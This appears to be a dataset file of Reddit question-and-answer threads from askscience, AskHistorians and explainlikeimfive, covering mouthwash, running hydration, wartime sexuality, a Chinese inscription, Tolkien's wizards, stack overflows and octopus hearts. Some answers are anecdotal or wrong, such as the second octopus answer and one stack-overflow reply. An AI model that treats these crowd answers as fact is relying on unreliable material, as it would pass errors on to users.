{"q_id": "kjss4", "title": "Is Listerine's burning sensation indicative of actual cleaning, or is it just there to make you think \"Wow this must really be working\", when in fact the burning has no functional use?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kjss4/is_listerines_burning_sensation_indicative_of/", "answers": {"a_id": ["c2ku2mo", "c2ku6vb", "c2kuf6q", "c2kuois", "c2kuxf4", "c2kylt0", "c2kz6uw", "c2ku2mo", "c2ku6vb", "c2kuf6q", "c2kuois", "c2kuxf4", "c2kylt0", "c2kz6uw"], "score": [20, 2, 117, 9, 6, 2, 2, 20, 2, 117, 9, 6, 2, 2], "text": ["If I recall correctly, the burning is caused by ethanol.\n\nThis describes the purpose of the ethanol:\n\n_URL_0_", "Listerine gave me Lichen in my mouth. Took more than a year for it to wear off after I had stopped using it.", "The burning sensation is due to ethanol and other disinfectants that clean. However, in the past many companies have released mouthwashes that are just as effective as listerine but do not have the burning sensation. They all failed because people did not believe they worked as well. So, to answer your question... yes.", "You may find this [previous question](_URL_0_) and it's comments useful.", "Have you ever tried the original Listerine? The golden-colored one? Not only does it burn, it tastes like rancid turpentine.", "This question reminds me of the mint in floss. It does nothing but alert you to places you've already flossed!", "Related question after scanning some of the comments:\n\nIf ethanol in listerine (or the stuff dissolved in it) is good for fighting bad things in your mouth, why does ACT sell alcohol-free mouthwash?  Is this ethanol-deficient mouthwash as good?\n\nI have super-sensitive teeth and mouthwash with ethanol causes serious pain...  But my dentist has never told me I'm getting the short end of the stick with something that contains no ethanol...", "If I recall correctly, the burning is caused by ethanol.\n\nThis describes the purpose of the ethanol:\n\n_URL_0_", "Listerine gave me Lichen in my mouth. Took more than a year for it to wear off after I had stopped using it.", "The burning sensation is due to ethanol and other disinfectants that clean. However, in the past many companies have released mouthwashes that are just as effective as listerine but do not have the burning sensation. They all failed because people did not believe they worked as well. So, to answer your question... yes.", "You may find this [previous question](_URL_0_) and it's comments useful.", "Have you ever tried the original Listerine? The golden-colored one? Not only does it burn, it tastes like rancid turpentine.", "This question reminds me of the mint in floss. It does nothing but alert you to places you've already flossed!", "Related question after scanning some of the comments:\n\nIf ethanol in listerine (or the stuff dissolved in it) is good for fighting bad things in your mouth, why does ACT sell alcohol-free mouthwash?  Is this ethanol-deficient mouthwash as good?\n\nI have super-sensitive teeth and mouthwash with ethanol causes serious pain...  But my dentist has never told me I'm getting the short end of the stick with something that contains no ethanol..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Listerine#Composition"], [], [], ["http://www.reddit.com/r/askscience/comments/htek0/is_it_better_to_rinse_mouth_after_brushing_teeth/"], [], [], [], ["http://en.wikipedia.org/wiki/Listerine#Composition"], [], [], ["http://www.reddit.com/r/askscience/comments/htek0/is_it_better_to_rinse_mouth_after_brushing_teeth/"], [], [], []]}
{"q_id": "33np6j", "title": "If I drink water before a long run, can I avoid peeing if I sweat it all out?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/33np6j/if_i_drink_water_before_a_long_run_can_i_avoid/", "answers": {"a_id": ["cqmr9or", "cqn4stt", "cqnd3o6", "cqo3vvk"], "score": [126, 5, 4, 2], "text": ["Excellent question and I wondered this myself a while ago when training for a half marathon.\n\nAs it turns out, once the liquid has passed into the ureters, (the tubes that connect the kidneys to the bladder) there isn't much of an opportunity for the liquid to pass back into the body.  The bladder is specifically constructed to prevent much passage of urine back into the body.  In an way this makes sense as the kidneys have the specific role of removing excess molecules from the blood to keep the body in homeostasis.  If the bladder could pass molecules back and forth it would defeat the purpose of the kidneys' highly precise extraction mechanisms.  There is a small amount of water that can pass out of the bladder into the blood stream in extreme examples, but not enough to experience significant relief from a full bladder.  \n\nBut why is it that sometimes you have to pee really badly at the start of a run and don't have to pee at all by the end?  This is a more complex issue, but suffice it to say that your no longer needing to pee is a function of your neurological system adapting to the run and the signals that normally tell you to pee have been temporarily silenced by the same neurotransmitters activated in the 'fight or flight' stimulus associated with running long distances, fleeing from an axe murderer or having someone jump in front of you in the dark.   As soon as you begin to cool down from the run, that urge to pee will be back in full force.  ", "No matter what you take home from this discussion: Just make sure that you drink enough water not just for cooling yourself during a run, but also for removing unusable substances from your body. If you start to employ a special \"drink to sweat for sport\" strategy, check if your urine is considerably yellow (saturated color) or even orange - that is a bad sign. Keep it at at least 25% between yellow and transparent, if not even more on the transparent side ( > 25%).", "Urine carries various other waste products out of the body. Believe me, it isn't getting rid of extra water just for the sake of it. Water is one of the most valuable things to your body. It's just that if it doesn't excrete the dissolved waste products you would run into other problems.\n", "If you drink slowly enough and sweat at precisely the right rate, it's possible to drink many liters of water without needing to pee.  Marathon runners apparently do this all the time.\n\nBut finally when you do pee, your pee may be very dark in color, because it is more concentrated with waste from your metabolic processes.  \n\nIf you drink too quickly, your kidneys will filter out a good portion of the water to keep the water/salt ratio of the blood within the right range, and even though you are sweating, you wouldn't be sweating fast enough to offset the drinking.\n\nBut, if you do it all at the right rate, you should find that you can avoid peeing for a few extra hours while running.\nApparently a rate between 200ml-500ml (depending on how much you are sweating), per hour, is \"good enough\" to avoid peeing.  This surprised me a little -- I would have thought you use up more water when running than that -- but apparently burning through glycogen stores in muscle also liberates some water that the body can use.\n\nSource: Friend is a marathon runner and explained this to me once. It was his strategy to avoid peeing for as long as possible.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1cu5o3", "title": "Was masturbation acceptable for soldiers in wars from 1914-present?", "selftext": "Was masturbation considered appropriate for soldiers in \"modern\" wars? With so many young males all together I would guess that many of them are going to resort to masturbation to alleviate there sexual desires. Was this considered something shameful that needed to be hidden? I would imagine that in places were soldiers were crammed together, such as the trenches in WWI, it would be impossible to hide such an activity. Have attitudes around this changed over the last 100 years? \n\n\nTo the mods: sorry if this is in violation of one of the many rules. It may be too general, although I hope not, so you can delete it for that if necessary. Also I tried not to use crass language, but I did say masturbation. Sorry.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1cu5o3/was_masturbation_acceptable_for_soldiers_in_wars/", "answers": {"a_id": ["c9k387c", "c9k5mvk", "c9k6z0j", "c9kc0wa"], "score": [47, 49, 45, 10], "text": ["I read a book called \"Blood Makes the Grass Grow Green\" by a guy named Johnny Rico...he was a young soldier in the Iraq war in the early 2000's, and the book is a very honest and not glamorous account of his mostly routine experience on his tour.  A routine part of their abundant down time?  Masturbating.  They all did it, often, and everyone knew about it.  It was a very casual thing, it seemed.  I got agreement from a friend of mine who did a tour in Iraq in 2005.\n\nBeyond that, I can't answer with any accuracy.\n\n", "Attention everyone: No more [personal anecdotes](_URL_0_) about what you got up to in Iraq or wherever you may have been posted, please. We really don't need to read about your personal habits. \n\nAlso no speculation about what young men are likely to get up to. We can, and should, do better than simple generalisations.\n\n(We've removed ~~three~~ ~~four~~ ~~five~~ ~~six~~ *eight* bad comments in this thread, and counting...)\n\nLet's focus on the historical aspects of this matter, because this subreddit does not indulge in discussion about events [within the past 20 years](_URL_1_).\n", "In \"All Quiet On The Western Front\" which is fiction but written by a veteran of WWI there is a throw away line about the prisoners of war and that they \"didn't even masturbate anymore\" so hopeless was their situation.\n\nAs the author was actually there and the book was written in the twenties I think it's safe to assume that, in the German army at least, that soldiers were pretty open about it and regarded masturbation as a normal everyday thing.", "This wasn't the easiest topic to find references for. This reference states that Masturbation was more frowned upon versus having extra-marital affairs while abroad (prostitutes and the like). It also mentions a lack of privacy during the period as an issue affecting masturbation.\n\n_URL_0_\n\nThis link seems to back up the first one where, \"According to Hirschfeld, soldiers in the trenches had few outlets for sexual energy and suffered \u201csex hunger\u201d on a massive scale \u2013 an \u201coppressive sex starvation.\u201d Sex hunger was compounded in World War I by the close quarters of men at the front, which often made even masturbation impractical. (In World War II, by contrast, one soldier was more often alone in a foxhole, although a great stigma still attached to masturbation.) Masturbation, \u201cwidespread in every army\u2026became far more widespread\u201d during World War I. A much-quoted Austrian fighter quipped: \u201cFormerly my wife was my right hand, now my right hand is my wife.\u201d Hirschfeld claims that bestiality provided another substitute outlet created by the sexual starvation of the war. A military physician posted with a division of the Austro-Hungarian army on the Italian front reportedly thought that at least 10 percent of the men had sex with animals (usually their horses). Psychological problems after the war often included sexual dysfunction, such as inability to maintain an erection, well after returning to civilian life. Hirschfeld, opposed to masturbation, bestiality, homosexuality, and prostitution alike, argues that the sex hunger of World War I contributed greatly to its dehumanizing effects.8\"\n\n_URL_1_\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_speculate", "http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_history.2C_not_current_events"], [], ["http://books.google.com/books?id=nSR7a6TM7TwC&amp;lpg=PA172&amp;ots=WvXWq11ME2&amp;dq=masturbation%20in%20world%20war%201&amp;pg=PA32#v=onepage&amp;q=masturbation&amp;f=false", "http://www.warandgender.com/wggensex.htm"]]}
{"q_id": "6rs1su", "title": "Could someone help me translate the engravings on this late 1800s Chinese lead container inherited from my great great grandmother?", "selftext": "Images of the container posted here: _URL_0_\n\nI'm not sure if this is the right subreddit to post this, if it's not please direct me to an appropriate one! \n\nWe think this is a lead container from the late 1800s. Inherited from my grandpa whom inherited it from his grandma (my great great grandma). \n\nAccording to my dad (whom heard the story from his grandpa), my grandpa's family was quite wealthy in the Swatow region of China. Great great grandma's father was supposedly a magistrate. During the communist movement, my family fled China to Singapore and they took this container with them. We're not sure why, but we think that they used the container to store medicine as it has an airtight seal. \n\nWe've always wondered what was engraved on the container, especially after my grandparents passed away. We also wanted to verify the history of the container, since everything we've heard up to now are stories passed on within the family. Thanks in advance for your help! ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6rs1su/could_someone_help_me_translate_the_engravings_on/", "answers": {"a_id": ["dl8fkvl", "dl92vu5"], "score": [3, 5], "text": ["Hi, some ideas since you haven't received answers here: you may try one of the translation subs, /r/translation or /r/translate IIRC, or a Chinese regional sub, or one specializing in Traditional Chinese Medicine (TCM). If you live near a Chinese community, you might also try a herbalist or TCM practitioner. ", "**From the second picture:**\n\nTop line: \u6f6e\u967d. Location [Chaoyang District of Shantou city](_URL_0_)\n\nbottom section: \n\nright: \u6c55\u982d. Location [Shantou/Swatow city in Guangdong](_URL_5_).\n\nmiddle: \u984f\u7965\u8208. A name, probably the maker.\n\nleft: \u9ede\u9285. This means a type of artwork that is made from a tin alloy that often contains lead and copper, sometimes silver and aluminum as well.\n\n**From the third picture:**\n\nOn the body of the container the large font two character are \u795e\u4ed9(gods and immortals). This is the last two word from the poem in the fourth picture.\n\nBelow that it says \u5f1f(younger brother)\u59da\u6b65\u6771(a name)\u656c\u8d08(gift from). So a gift from \u59da\u6b65\u6771 which is a younger brother to the original owner.\n\nBy the way, there is a guy by the name of \u59da\u6b65\u6771 who is the county magistrate of [\u63ed\u967d\\(Jieyang\n\\)](_URL_3_) in 1926. Jieyang was a county (\u7e23) back in Republic of China era, it is now a city(\u5e02). Jieyang is right beside \u6c55\u982d (Shantou/Swatow city)\n\nOn the left side of that it says \u4eff\u53e4 (imitation of antique). \n\n\n**From the fourth picture:** \n\nThe two lines are: \n\nright: \u6709\u540d\u9592\u5bcc \n\nleft: \u8cb4\u7121\u4e8b\u5c0f\n\nTogether with the last two characters from third picture: \u6709\u540d\u9592\u5bcc\u8cb4,\u7121\u4e8b\u5c0f\u795e\u4ed9\u3002\n\nThis is a line from [\u8a13\u8499\u5e7c\u5b78\u8a69](_URL_4_) a poem by \u6c5f\u6d19 during the [Northern Song](_URL_8_). It is a poem encouraging people/kids to study.\n\n**From the fifth picture:**\n\nRight: \u5c11\u6797(Shaolin)\u4ec1\u5144(people/friend)\u958b\u5275(starting a business/organization/etc.)\n\nLeft: \u540c\u548c(name?)\u516c\u53f8(company)\u7d00\u5ff5(commemorate)\n\nTogether: \u5c11\u6797\u4ec1\u5144\u958b\u5275\u540c\u548c\u516c\u53f8\u7d00\u5ff5 meaning \"To commemorate the starting a company called \u540c\u548c by follower(s) of Shaolin\". \n\nThe name means \u540c (common, public, shared), \u548c(peace, tranquility).\n\nChinese have no plural so it is hard to know it is a single follower or multiple.\n\n**The cap:**\n\nThis is written in a old script called \u5c0f\u7bc6\u66f8 [small seal script](_URL_2_). Nowadays, this script is used for decorative propose.\n\nIt says: \u5999\u6975\u751f\u77e5. From my search it seems to be from a book called \u6587\u5fc3\u96d5\u9f8d which recorded this line as spoken by \u5fb5\u8056 (a person). The book is complied in \u9b4f\u664b\u5357\u5317\u671d which spans from [three kingdom era](_URL_7_) to [Northern and Southern dynasties](_URL_1_).\n\n_URL_6_\n"]}, "title_urls": [], "selftext_urls": ["https://imgur.com/gallery/HYED8"], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Chaoyang_District,_Shantou", "https://en.wikipedia.org/wiki/Northern_and_Southern_dynasties", "https://en.wikipedia.org/wiki/Small_Seal_Script", "https://en.wikipedia.org/wiki/Jieyang", "https://zh.wikisource.org/zh-hant/%E8%A8%93%E8%92%99%E5%B9%BC%E5%AD%B8%E8%A9%A9", "https://en.wikipedia.org/wiki/Shantou", "http://ctext.org/wenxin-diaolong/zheng-sheng/zh?searchu=%E5%A6%99%E6%A5%B5%E7%94%9F%E7%9F%A5", "https://en.wikipedia.org/wiki/Three_Kingdoms", "https://en.wikipedia.org/wiki/Song_dynasty#Northern_Song.2C_960.E2.80.931126"]]}
{"q_id": "1zdiv2", "title": "Do drinks from aluminum cans contain aluminum?", "selftext": "Many acidic softdrinks are sold in aluminum cans, \ndont these drinks contain some residue of aluminum ?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1zdiv2/do_drinks_from_aluminum_cans_contain_aluminum/", "answers": {"a_id": ["cfsqds4"], "score": [19], "text": ["Soft drink cans are coated with a very thin layer of BPA, which you can see for yourself by dissolving the can from the outside in concentrated sodium hydroxide. In analytical chemistry, we attempted to quantify aluminum in the liquid using a complexing agent and a spectrofluorometer (I don't remember the name of the complexing agent anymore). Our results were non-detectable."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bjza3d", "title": "how does new topsoil form on brand new land that's barren?", "selftext": "(e.g. barren island made by an undersea volcano later transforms into a fertile soil that springs forth a lush vegetation)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bjza3d/eli5_how_does_new_topsoil_form_on_brand_new_land/", "answers": {"a_id": ["emci78t", "emdf9rv"], "score": [24, 3], "text": ["The rock can get broken down by erosion (wind/rain/waves).  Plant seeds/spores then get deposited by wind or animals (usually birds).  If they land in the right place they will start to grow.  The roots further break down the rock.  When the plant dies, it will become part of the new soil.  If there are animal colonies, their poop also gets broken down into the soil.    There has been considerable study of plant colonization of Surtsey in Iceland which was formed in the 1960s.", "The name for the process is called primary succession, where lichen, algae and mosses (often called pioneer species) start the process of soil formation by extracting nutrients directly from the rock. As they grow, die, and decompose the first layer of soil starts to emerge and make it possible for more simple plants to seed, which grow, die, and decompose, further adding to the soil. As the soil starts building up, more and more complex plants can start taking root until you end up with a vibrant forest where there was once nothing but bare rock."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1v8rwg", "title": "what happens when there is no more bit/lite/dogecoins to mine?", "selftext": "What would happen to the price, circulation, etc. What about all the dead wallets that are inactive. Does the currency slowly die?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1v8rwg/eli5_what_happens_when_there_is_no_more/", "answers": {"a_id": ["ceptf8v", "ceptgti", "ceptlze"], "score": [4, 2, 3], "text": ["In theory, their value will go up -- rarity has a lot to do with what we find valuable.", "The dead wallets stay dead, just like a $20 you lose in the couch cushions.\n\nThe remaining currency continues to circulate as long as people are willing to exchange it. It's just like any other currency if the central bank didn't issue any more units. ", "Miners will still profit off of transaction fees. Those were implemented in the first place to compensate miners.\n\nWhen a certain amount of a currency is destroyed, its value is distributed among the rest of it. So, essentially, every lost wallet means that your holdings are slightly more valuable because there's less of it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4ihfwg", "title": "Did Cortez' army only have cotton armor aside from their helmets?", "selftext": "Bernal Diaz only mentions using cotton armor, just like his native opponents. Is it true?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ihfwg/did_cortez_army_only_have_cotton_armor_aside_from/", "answers": {"a_id": ["d2ynsvx"], "score": [2], "text": ["While the stereotypical conquistador costume is a morion and plate corselet, the morion wasn't in style until the 1540's and cotton armor is indeed the only sort that Diaz mentions. There is lots of 16th century artwork which shows the conquistadors wearing a morion and corselet, but that artwork was usually made decades later and by people who weren't there. The adventurers who embarked with Cortes were mostly very poor, and the prices of everything in Cuba were highly inflated, including crossbows, harquebuzes and horses. The counter-expedition led by Narvaez was made up of wealthier men, and perhaps they and the later Spanish reinforcements were equipped with some metal armor."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1wziwm", "title": "Did cultural differences emerge among the different occupied zones of West Germany after WWII?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1wziwm/did_cultural_differences_emerge_among_the/", "answers": {"a_id": ["cf6xoxk"], "score": [2], "text": ["Not exactly. It was much less about the US, British and French occupied zones (I think Belgium had one too?) and much more about the rift between East and West Germany. \n\n\nFor the most part it isn't really inaccurate to say the US ran the show in West Germany, especially so far as the de-Nazi-ification was concerned. France and Britain were more occupied with their own affairs. \n\n\nWhatever regional identities you found in these regions in West Germany were something that existed *before* occupation. What they suffered, they suffered collectively. The French weren't particularly worse than the British, weren't particularly worse than the US, and so on. Didn't matter where you lived because everyone was being rationed as little as 1000 calories of food daily, didn't matter where you lived, winter was cold, and you'd trade your family's heirlooms if it meant staying warm (assuming someone hadn't already looted it.) \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "exvsoq", "title": "Is the US headed for another civil war or uprising?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/exvsoq/is_the_us_headed_for_another_civil_war_or_uprising/", "answers": {"a_id": ["fgd8ujf"], "score": [2], "text": ["This submission has been removed because it involves current events.  To keep from discussion of politics, we have a [20-year rule](_URL_0_) here.  You may want to try /r/ask_politics or another current-events focused sub. For further explanation of this rule, feel free to consult [this Rules Roundtable](_URL_1_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_current_events", "https://www.reddit.com/r/AskHistorians/comments/45wqkl/rules_roundtable_5_the_current_eventsmodern/"]]}
{"q_id": "5pw05x", "title": "m\u00e9xico city policy", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5pw05x/eli5_m\u00e9xico_city_policy/", "answers": {"a_id": ["dcu89z1"], "score": [2], "text": ["Non government agencies will be cut off from federal funding if they advocate or perform abortions/ advocate them. \n\nPlanned parenthood can no longer advocate or perform abortions in foreign countries if they want to receive federal funding. \n\nIf you're an American this has close to 0 impact on you. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "13myqd", "title": "the colour and birth of wizards (lotr)", "selftext": "Can anyone explain the colour sequence (if there is one) for the wizards of the third age on Middle Earth? Also, I know Treebeard said the wizards first came from over the seas, but are the wizards born, or created fully grown?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/13myqd/eli5_the_colour_and_birth_of_wizards_lotr/", "answers": {"a_id": ["c75c1m4", "c75c4pd", "c75dss7", "c75h9ju", "c75j5wp", "c75kcfi"], "score": [15, 2, 61, 9, 15, 4], "text": ["[Read the Silmarillion](_URL_0_) ", "They're immortal beings from the other side of the sea, sent to help out, but not interfere too much with Middle Earth.  I believe they were originally called Ainur or something like that. I've never heard a good explanation of the colors. ", "They came from Valinor (the land \"in the West\" where the elves go.) Men cannot go there anymore. The land of Valinor is ruled by the Valar. These are ancient beings that were basically angels that entered into creation to hang out until the end of time. The Ainur were the same, but were basically servants to the Valar. The Valar selected 5 Ainur and sent them to middle earth as Wizards. They were called the Istari. They were to have the appearance of old men.\n\nAs far as the colors go, White was the one in charge, but the other colors had no real hierarchy. So Saruman was in charge until he went batshit crazy (corrupted by Sauron) and was replaced by Gandalf the White.", "There isn't any significance to the colors.  Saruman the White was leader of the 'order' but as far as we know, he would have been leader if he was Saruman the Puce.  He was leader because of who he was before the wizards came from over the sea.\n\nAs for the second question: no, they weren't born exactly.  Their appearance as wizards (tall, somewhat elderly men) was given to them as part of sending them to Middle Earth.  Before that they were of the lesser rank of spirits who helped to create and shape the world.  You can think of them as angels if that helps - less than gods, but separate from mortals.", "Since no one has said it yet here's the names/colors:\n\nSaruman the White/Saruman of Many Colors (Quenyan: Curunir)- lived in Isengard\n\nGandalf the Grey/Gandalf the White (Quenyan: Olorin[only used in Valinor], Mithrandir [this one may be Sindarin, not sure])- Travelled, spent the most time in Eriador\n\nRadagast the Brown (Quenyan: Aiwendil)- Lived in Rhosgobel (Western Mirkwood)\n\nAlatar and Pallando the Blue (Alternatively named Morinehtar and Romestamo in separate works by Tolkein, neither of these are Quenyan names)- These two were sent by the Valar to lands east of the Sea of Rhun", "I thought that while the white wizard was the master of the order (having obtained his color through physical trials involving earth water, air, and fire) the colors of the other wizards did something to denote their magical proficiencies. For example, Radagast the Brown is a master of animals and I think botany. If anybody could help me by debunking this or filling in the blanks I'd appreciate it.\n\nThe istari are maiar, spirit servants of the valar. They are the same type of spirit as sauron and the balrogs but have not been corrupted. While inhabiting the bodies of old men, the maiar/istari are essentially immortal and will return to their original forms when their work in middle-earth is complete.\n\nIt has been ages since I read the silmarillion but I would say that it is the true font of LOTR lore."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/The_Silmarillion"], [], [], [], [], []]}
{"q_id": "l355d", "title": "Is there any social deviance in ant colonies or other social groups of animals?", "selftext": "I'm just curious. Some sociologists say that deviance is a necessary part of society, and it's what pushes society further. Does this sort of thing happen in other species? Or does every ant just keep on doing his job correctly until he dies?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/l355d/is_there_any_social_deviance_in_ant_colonies_or/", "answers": {"a_id": ["c2pdjsa", "c2pejr6", "c2pfeiy", "c2piq7b", "c2pdjsa", "c2pejr6", "c2pfeiy", "c2piq7b"], "score": [9, 6, 3, 4, 9, 6, 3, 4], "text": ["[Yes](_URL_0_).\n\n > ScienceDaily (Mar. 17, 2008) \u2014 Far from being a model of social co-operation, the ant world is riddled with cheating and corruption -- and it goes all the way to the top, according to scientists from the Universities of Leeds and Copenhagen.", "Absolutely. My personal favorite example is the three main lizard mating strategies - [\"forceful,\" \"friendly\" and \"deceptive.\"](_URL_1_)\n\nAlso, there is tons of work done on what happens when [rats are placed in overpopulated cages](_URL_0_).  All sorts of behavior starts to occur that didn't at lower population densities - increased aggression, homosexuality, increased mortality, cannibalism and eating disorders. ", "Definitely occurs. I know that with ants, wasps, other hymenopterans and social insects, other workers will tend to \"correct\" the deviants. Can't say much else about other social groups of animals.", "Some ants and wasps will \"cheat\" and lay their own eggs, which benefits them at the expense of the colony.  They tend to be attacked if caught.", "[Yes](_URL_0_).\n\n > ScienceDaily (Mar. 17, 2008) \u2014 Far from being a model of social co-operation, the ant world is riddled with cheating and corruption -- and it goes all the way to the top, according to scientists from the Universities of Leeds and Copenhagen.", "Absolutely. My personal favorite example is the three main lizard mating strategies - [\"forceful,\" \"friendly\" and \"deceptive.\"](_URL_1_)\n\nAlso, there is tons of work done on what happens when [rats are placed in overpopulated cages](_URL_0_).  All sorts of behavior starts to occur that didn't at lower population densities - increased aggression, homosexuality, increased mortality, cannibalism and eating disorders. ", "Definitely occurs. I know that with ants, wasps, other hymenopterans and social insects, other workers will tend to \"correct\" the deviants. Can't say much else about other social groups of animals.", "Some ants and wasps will \"cheat\" and lay their own eggs, which benefits them at the expense of the colony.  They tend to be attacked if caught."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sciencedaily.com/releases/2008/03/080311103904.htm"], ["http://en.wikipedia.org/wiki/Behavioral_sink", "http://www.msnbc.msn.com/id/21132536/"], [], [], ["http://www.sciencedaily.com/releases/2008/03/080311103904.htm"], ["http://en.wikipedia.org/wiki/Behavioral_sink", "http://www.msnbc.msn.com/id/21132536/"], [], []]}
{"q_id": "5y5ubb", "title": "what is a stack overflow", "selftext": "when I google this, I get an answer that I cannot understand. In plain, simple english, what is a stack overflow?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5y5ubb/eli5_what_is_a_stack_overflow/", "answers": {"a_id": ["denfbck", "deng06d", "dengir2", "denhnqw", "denii44", "denm2y8"], "score": [4, 2, 3, 9, 5, 2], "text": ["\"Stack overflow\" is a programming term relating to computer memory. \n\nWhen you're running a program, each time you do something you're sending a request to the system. The system takes these requests and puts them into a pile or a \"stack\" and then proceeds to address each request in a specific order.\n\nA computer only has so much memory, so if you make too many requests  &  the computer runs out of memory space, the stack can become too big which results in an overflow error.", "Computers do lots of different tasks at the same time. To accomplish this the computer actually works on tasks one at a time and very quickly switches between them. The stack is the part of memory where the computer puts data temporarily while it switches to a different task. \n\nIt's called a stack because the data from each task gets stacked on top of the other. There are some math tricks programers can use to process data on the stack. If the programmers aren't careful they can end up sticking data in a memory location that is outside the stack, even overwriting data for another program that's running. \n\nThat's considered a bug. If hackers find out about these bugs they might be able to take advantage of them to stick malicious data into other programs. ", "It comes down to programming junk. \n\nok - so computers are good at doing instructions one at a time - the ones you \"program\" them to do. But when you boil them right down a lot of computer code comes down to something like:\n\n    take number A\n    take number B\n    do some math with A and number B\n    If the result is  < some condition > , then go do  < something 1 > . \n    If not, go do  < something 2 > .\n\nAny time there's a comparison operator and a resulting branch in execution, the CPU has to take everything its currently doing (in the above example, number A and number B, maybe the math result) and save it somewhere. It saves it on the stack. Or called \"pushing the stack\".  Then it goes off and does something 1 or 2. \n\nThink of a stack as literally a stack of dishes on a buffet. You can take dishes off the top (\"pop\") or you can add more dishes to the top \"push\"). Except instead of dishes, a CPU stack is full of data and code it needs to remember to come back to. \n\nNow hopefully something 1 or 2 wraps up, that jump in execution ends - then the CPU reaches the end of that code. Goes \"huh. I'm done. I should go back to what I was doing before.\" So it pops the stack, retrieves variables and code references etc from what it was doing before something 1 or 2. Part of that info is a memory pointer to the _next_ instruction it needs to execute. And off it goes, executing instructions. \n\nDepending on  < a whole lot of things > , stacks aren't infinate. Using the buffet dish stack analogy, the bus boy can't keep adding clean dishes, they'd make a big tower and fall over and someone gets fired. Same thing in code. \n\nThe easy way to stack overflow in code is make something deeply recursive. Ill give you an example:\n\n    Do_Something_1:\n    number A = 12\n    number B = 30\n    result = B-A\n    if result  >  10 then Do_Something_1\n    if result  < = 10 then print \"Hey, your example is lame but illustrates the point\"\n    End_Do_Something_1\n\nSo this code calls itself - its recursive. And you can see since A and B always use the same values, the math B-A always results in 18 which is always  >  10 in which case the CPU does _exactly the same thing again and again._\n\nSo if some other code calls Do_Something_1 the first time, this code never completes, it calls itself, each time forcing a push to the stack. Eventually the stack runs out of space and boom, \"Stack overflow.\"", "A stack overflow is when a program runs out of memory in a stack. A stack is a way of organizing memory such that the program sets one piece of data above the previous one, the next above that, etc.\n\nIt normally refers to a specific stack, though. Each program has multiple areas of memory it can draw from, each with its own purpose. One is just called the \"stack\". Usually that's what a stack overflow is referring to.\n\nThe stack is used for local memory. When a program jumps to a new piece of code that it wants to run, it allocates a chunk of memory on top of the stack to use as local memory. This is called a function call. Calling another function will use a chunk of memory further up, so that local memory is never overwritten by another function call (there are exceptions, but that's not important here). When the program returns from a function, it releases the allocated local memory.\n\nOne common problem is if a badly coded function always calls itself before returning. What you get is more and more memory allocated on the stack until there is no more.\n\nedit: clarity", "ELI5 version: Stack overflow. \n\nIt's like writing on a single a4 page and running out of room. The paper is the stack. There is too much writing for the space, it's overflown. That's it.\n\nAnother analogy could be a dam and water. The dam is the stack, the water is the information. Sometimes there is too much water for the dam and it overflows. Sometimes there is too much information to be stored in some space and the information overflows. ", "A website that aids Programmers in asking and debugging their own questions by allowing them a larger group to communicate with in hope of troubleshooting said issues or question"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "basfun", "title": "Will an Octopus Die If one or two of it hearts stop ? and Why ?", "selftext": "[deleted]", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/basfun/will_an_octopus_die_if_one_or_two_of_it_hearts/", "answers": {"a_id": ["ekdso2f", "ekflfl1"], "score": [4361, 28], "text": ["The three hearts aren't equal.\n\nIt's got one main heart like other animals (the systemic heart), and two other minor hearts (branchial hearts), each pumping blood through one gill. If the main one stops it would have the same effect as if your heart stopped\\*. *Maybe* it could live with one gill though (provided the stopped gill-heart didn't disrupt the circulatory system too much and it could survive on half the oxygen - but most animals can survive on one lung/gill until they get eaten)\n\n\\*Apparently the systemic heart stops when it swims, hence they don't swim fast unless they have to.", "I think it would depend on which hearts fail because if the two bronchial hearts fail the octopus will likely die because the bronchial hearts control the gills, which are obviously very important to the octopuses survival. The third heart, the systematic one is less vital to the octopuses survival as it is inactive while the octopus is swimming (swimming for octopi is very energy consuming)but active while the octopus is crawling. So in conclusion survival without the two bronchial hearts is near impossible but survival without the systematic heart would be extremely tiring."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
